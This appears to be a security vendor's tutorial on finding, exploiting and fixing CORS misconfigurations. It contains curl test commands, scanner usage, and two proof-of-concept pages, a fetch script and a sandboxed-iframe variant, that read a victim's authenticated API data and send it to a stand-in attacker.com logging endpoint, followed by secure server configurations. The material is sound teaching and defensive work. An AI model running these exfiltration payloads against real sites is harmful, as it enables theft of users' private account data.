CORS misconfigurations are one of the most consistently rewarded vulnerabilities in bug bounty programs — and one of the most underestimated. A single misconfigured Access-Control-Allow-Origin header can expose every authenticated API endpoint to attacker-controlled domains.
By default, browsers enforce the Same-Origin Policy (SOP): JavaScript running on attacker.com cannot read responses from bank.com. CORS is the mechanism that relaxes this restriction — and when misconfigured, it can completely undermine the SOP.
Cross-Origin Resource Sharing (CORS) is an HTTP-header-based mechanism that allows a server to indicate which origins (domain + scheme + port) other than its own are permitted to read its responses. When a browser makes a cross-origin request, it enforces the server's CORS policy.
The critical headers to understand:
Access-Control-Allow-Origin — specifies which origin can read the responseAccess-Control-Allow-Credentials — whether cookies/auth headers are includedAccess-Control-Allow-Methods — permitted HTTP methodsAccess-Control-Allow-Headers — permitted request headersAccess-Control-Expose-Headers — response headers visible to JavaScriptThe most critical vulnerability occurs when a server returns both Access-Control-Allow-Origin: [attacker-controlled] AND Access-Control-Allow-Credentials: true. This means attackers can make authenticated requests from their site and read the responses.
Browsers reject Access-Control-Allow-Origin: * combined with credentials. Developers often try this and then "fix" it by reflecting the origin dynamically — creating a worse vulnerability.
# Vulnerable server-side logic (Python/Flask)
@app.after_request
def add_cors(response):
origin = request.headers.get('Origin')
response.headers['Access-Control-Allow-Origin'] = origin # NEVER DO THIS
response.headers['Access-Control-Allow-Credentials'] = 'true'
return response
Any origin can now read authenticated responses. This is the most common CORS vulnerability found in bug bounties.
# Vulnerable: checks if trusted domain appears ANYWHERE in origin
if 'trusted-bank.com' in request.headers.get('Origin', ''):
# Bypass: attacker registers evil-trusted-bank.com or trusted-bank.com.evil.com
allow_origin(origin)
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
The null origin can be triggered via sandboxed iframes, redirects, and file:// URLs. Attackers can craft pages that send requests with Origin: null.
# Meant to allow *.company.com but also allows evil.company.com.attacker.com
if origin.endswith('.company.com'):
allow_origin(origin)
When Access-Control-Max-Age is set, cached pre-flight responses can be exploited if the origin validation logic changes without cache invalidation.
# Test 1: Basic reflection check
curl -s -I -H "Origin: https://evil.com" \
https://target.com/api/userinfo \
| grep -i "access-control"
# Test 2: Null origin
curl -s -I -H "Origin: null" \
https://target.com/api/userinfo \
| grep -i "access-control"
# Test 3: Subdomain bypass
curl -s -I -H "Origin: https://target.com.evil.com" \
https://target.com/api/userinfo \
| grep -i "access-control"
# Test 4: Pre-domain bypass
curl -s -I -H "Origin: https://eviltarget.com" \
https://target.com/api/userinfo \
| grep -i "access-control"
# Install and run Corsy
pip install corsy
python3 corsy.py -u https://target.com -t 10
# Scan a list of URLs
python3 corsy.py -i urls.txt --headers "Cookie: session=abc123"
In Burp Suite Pro, the Active Scanner tests for CORS misconfigurations automatically. For manual testing, use the CORS* extension from the BApp Store. Steps:
Origin: https://evil.com headerAccess-Control-Allow-OriginAccess-Control-Allow-Credentials: true is also present| Response | Severity | Exploitable? |
|---|---|---|
ACAO: * | Low-Medium | Only without credentials |
ACAO: [evil origin] only | Medium | Without credentials |
ACAO: [evil origin] + ACAC: true | Critical | Yes — full credential theft |
ACAO: null + ACAC: true | High | Via sandboxed iframe |
The following PoC demonstrates the impact of CORS misconfigurations. Only test against applications you own or have explicit written permission to test.
<!-- Hosted on attacker.com -->
<script>
fetch('https://victim.com/api/account/profile', {
credentials: 'include', // Sends cookies
mode: 'cors'
})
.then(r => r.text())
.then(data => {
// Exfiltrate to attacker's server
fetch('https://attacker.com/log?data=' + encodeURIComponent(data));
})
.catch(e => console.log('CORS blocked:', e));
</script>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
fetch('https://victim.com/api/userdata', {credentials:'include'})
.then(r=>r.text())
.then(d=>parent.postMessage(d,'*'));
</script>">
</iframe>
<script>
window.addEventListener('message', e => {
fetch('/log?d=' + encodeURIComponent(e.data));
});
</script>
If a trusted subdomain (e.g., legacy.victim.com) is available for takeover and the API trusts *.victim.com, combining subdomain takeover with CORS creates a critical impact chain.
A researcher discovered that the payment API endpoint /api/v2/payment-methods reflected any origin header with credentials. By hosting a malicious page on a look-alike domain, they could silently read victims' saved credit card metadata (last 4 digits, expiry, billing address) and account balance when the victim visited the attacker's page.
A healthcare company's patient portal accepted requests from null origins. The internal admin API used the same CORS policy as the patient-facing API. An attacker's sandboxed iframe could read PHI (Protected Health Information) from authenticated sessions — a direct HIPAA violation.
| Company | Vulnerability | Payout |
|---|---|---|
| Shopify | Origin reflection in merchant API | $25,000 |
| Uber | Wildcard subdomain trust | $3,000 |
| Yahoo | Null origin acceptance | $2,500 |
| Starbucks | Pre-domain bypass | $4,000 |
# Python/Flask - Secure Implementation
ALLOWED_ORIGINS = {
'https://app.company.com',
'https://admin.company.com',
'https://company.com'
}
@app.after_request
def add_cors_headers(response):
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
response.headers['Vary'] = 'Origin' # Critical for caching!
return response
// Node.js/Express - Secure Implementation
const allowedOrigins = new Set([
'https://app.company.com',
'https://company.com'
]);
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Vary', 'Origin');
}
next();
});
# nginx.conf - Secure CORS
map $http_origin $cors_origin {
default "";
"https://app.company.com" $http_origin;
"https://company.com" $http_origin;
}
server {
location /api/ {
if ($cors_origin) {
add_header 'Access-Control-Allow-Origin' $cors_origin always;
add_header 'Access-Control-Allow-Credentials' 'true' always;
add_header 'Vary' 'Origin' always;
}
# Never use: add_header 'Access-Control-Allow-Origin' '*';
}
}
*) with credentialsnull origin in productionVary: Origin header when dynamically setting ACAOCSRF exploits the browser's automatic cookie sending for state-changing requests (writes). The attacker doesn't need to read the response. CORS misconfigurations allow attackers to read cross-origin responses. Both require the victim to be authenticated. CORS does NOT protect against CSRF — use CSRF tokens for that.
# Add to your security pipeline (e.g., GitHub Actions)
- name: CORS Security Scan
run: |
# Test critical endpoints
for endpoint in /api/user /api/account /api/payments; do
response=$(curl -s -I \
-H "Origin: https://evil-test-domain.com" \
"https://${{ env.TARGET_URL }}$endpoint")
if echo "$response" | grep -qi "access-control-allow-origin: https://evil"; then
echo "CORS MISCONFIGURATION DETECTED: $endpoint"
exit 1
fi
done
echo "CORS check passed"
KENSAI scans for CORS misconfigurations, reflected origin vulnerabilities, and null-origin trust issues across all your API endpoints — continuously.
Start Free Scan →Severity depends on the combination of headers. Access-Control-Allow-Origin: * alone (without credentials) is low-medium severity. The critical cases involve both arbitrary/reflected origin AND Access-Control-Allow-Credentials: true — this enables full session hijacking and data theft.
CORS exploits require the victim to visit the attacker's page with an active session on the target site. The exploit happens silently in the background — the victim sees nothing. This makes them particularly dangerous in phishing scenarios.
No. CORS is a same-origin policy relaxation mechanism and operates regardless of whether HTTPS is used. The scheme (http vs https) is part of the origin, but using HTTPS doesn't fix CORS misconfigurations.
KENSAI's active scanner tests all API endpoints with modified origin headers, checking for reflected origins, null origin acceptance, and the critical combination of reflected origins with credential support. Findings are prioritized by actual exploitability, not just header presence.
Security is not optional.
🗡️ The KENSAI Team